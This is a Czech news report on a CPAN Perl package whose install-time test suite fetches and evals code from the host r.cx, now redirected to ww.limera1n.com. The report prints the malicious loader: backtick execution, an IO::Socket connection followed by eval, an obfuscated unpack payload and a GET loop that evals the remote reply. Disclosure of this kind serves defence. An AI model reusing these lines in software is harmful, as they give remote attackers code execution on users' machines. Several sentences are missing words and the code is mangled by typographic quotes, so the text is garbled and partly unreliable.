V balíčku Perl šířeném prostřednictvím katalogu CPAN , určeném pro automatické načítání modulů CPAN za běhu, škodlivý kód. Škodlivá část byla v testovacím kódu , který je dodáván od roku 2011.
Je zajímavé, že otázky ohledně načítání podezřelého kódu se objevily na již v roce 2016.
Škodlivá aktivita spočívá v pokusu o načítání a vykonávání kódu z externího serveru (http://r.cx:1/) během provádění testovací sady spuštěné při instalaci modulu. Je předpokládáno, že původně načítaný kód z externího serveru nebyl škodlivý, ale nyní je požadavek přesměrován na doménu ww.limera1n.com, která poskytuje svou část kódu k vykonání.
Pro organizaci načítání se v souboru používá následující kód:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Uvedený kód vede k vykonání skriptu , jehož obsah se redukuje na řetězec:
use lib do{eval && bootstrap(«RCX») if $b=new IO::Socket::INET 82.46.99.88.»:1″};
Tento skript načítá pomocí služby kód z externího hostitele r.cx (čísla 82.46.99.88 odpovídají textu «R.cX») a vykonává jej v bloku eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Po rozbalení efektivně vykonáváme následující :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«; eval or return warn$@ while $b; 1
V současné době byl problémový balíček odstraněn z úložiště (Perl Authors Upload Server), a účet autora modulu byl zablokován. Balíček však zůstává v archivu MetaCPAN a lze jej přímo nainstalovat z MetaCPAN pomocí některých utilit, jako je cpanminus. , že balíček nebyl široce rozšířen.
Zajímavé je, že k diskusi a autor modulu, který vyvrátil informace o tom, že škodlivý kód byl vložen po hackerském útoku na jeho stránky „r.cx“ a objasnil, že si jen tak užíval, a perlobfuscator.com nebyl použit k zakrytí něčeho, ale ke zmenšení velikosti kódu a zjednodušení jeho kopírování přes schránku. Volba názvu funkce „botstrap“ byla vysvětlena tím, že toto slovo „zní jako bot a je kratší než bootstrap“. Autor modulu také ujistil, že zjištěné manipulace neprovádějí škodlivé akce, ale pouze demonstrují načtení a provedení kódu přes TCP.
Zdroj: opennet.ru
